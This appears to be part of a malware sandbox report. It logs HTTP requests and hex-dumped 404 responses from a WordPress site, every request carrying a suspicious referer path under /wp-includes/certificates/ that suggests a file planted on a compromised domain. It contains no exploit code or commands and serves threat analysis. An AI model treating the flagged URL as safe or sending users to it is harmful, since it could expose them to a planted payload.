Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:05:49 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:05:53 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:05:54 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:05:58 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 23795846Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:05:58 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 22429083Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 